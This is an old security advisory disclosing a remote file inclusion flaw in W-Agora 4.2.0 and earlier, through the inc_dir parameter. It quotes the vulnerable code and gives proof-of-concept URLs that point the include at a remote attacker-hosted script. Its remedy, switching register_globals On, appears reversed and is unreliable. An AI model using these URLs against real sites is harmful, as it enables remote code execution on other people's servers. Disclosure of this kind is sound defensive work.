[ECHO_ADV_34$2006] W-Agora (Web-Agora) <= 4.2.0 (inc_dir) Remote File Inclusion

ECHO.OR.ID
ECHO_ADV_34$2006

[ECHO_ADV_34$2006] W-Agora (Web-Agora) <= 4.2.0 (inc_dir) Remote File Inclusion

Author : Dedi Dwianto a.k.a the_day
Date Found : June, 20th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv34-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

W-Agora (Web-Agora)

Application     : W-Agora (Web-Agora)
version         : <= 4.2.0
URL             : http://w-agora.net
Description     :

W-Agora (Web-Agora) is a database-driven communications system which allows you and your visitors to
store and 
display messages, files, and other information on your web site. More than "just another Web BBS/forum
software", 
W-Agora is designed so it can be easily customizable through a Web browser and the use of templates.
It can be used as a BBS, guestbook, download area, or publishing system. 
Several database backends are supported such as MySQL, Postgres, mSQL, Oracle and DBM.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~~

-----------------------insert.php----------------------
....
<?php
  if ($bn_search && ($bn_doc_type == "static") && ($bn_search_engine != "none") ) {
                include "$inc_dir/$bn_search_engine.$ext";
                $search->indexNotes();
        }

        ?>
...
----------------------------------------------------------

Input passed to the "inc_dir" parameter in insert.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources

Affected files: 

admin_notes.php
admin_subscribed_user.php
admin_user.php
browse_avatar.php
close.php
create_forum.php
create_site.php
create_user.php
delete.php
delete_site.php
download_forum.php
editconf.php
edit_site.php
export.php
forgot_password.php
index.php
insert.php
search.php
view.php
update.php
setup.php
profile.php
register.php
rss.php
list.php
forgot_password.php
include/mail.php
include/fileupload.php
include/msql.php
include/dbaccess.php
include/form.php
include/postgres65.php
include/postgres.php
include/mysql.php
extras/quicklist.php
extras/shared_user.php
user/ldap_example.php
tools/upgrade_401.php
tools/upgrade_402.php
tools/upgrade_42.php
tools/upgrade_site_401.php
tools/upgrade_site_402.php

Successful exploitation requires that "register_globals= Off ".

Proof Of Concept:
~~~~~~~~~~~~~~~~~

http://target.com/[w-agora_path]/index.php?inc_dir=http://target.com//inject.txt?
http://target.com/[w-agora_path]/search.php?inc_dir=http://attacker.com/evil.txt?
http://target.com/[w-agora_path]/view.php?inc_dir=http://attacker.com/evil.txt?
http://target.com/[w-agora_path]/update.php?inc_dir=http://attacker.com/evil.txt?
http://target.com/[w-agora_path]/tools/upgrade_401.php?inc_dir=http://attacker.com/evil.txt?
http://target.com/[w-agora_path]/include/mail.php?inc_dir=http://attacker.com/evil.txt?
http://target.com/[w-agora_path]/extras/quicklist.php?inc_dir=http://attacker.com/evil.txt?
http://target.com/[w-agora_path]/register.php?inc_dir=http://attacker.com/evil.txt?
http://target.com/[w-agora_path]/rss.php?inc_dir=http://attacker.com/evil.txt?

and more Affected files


Solution:
~~~~~~~~~
Change register_globals= On 
in php.ini

---------------------------------------------------------------------------
Shoutz:
~~~~~~~

~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ Lieur-Euy,Mr_ny3m,bithedz,an0maly
~ newbie_hacker[at]yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~~

     the_day || echo|staff || the_day[at]echo[dot]or[dot]id
     Homepage: http://theday.echo.or.id/

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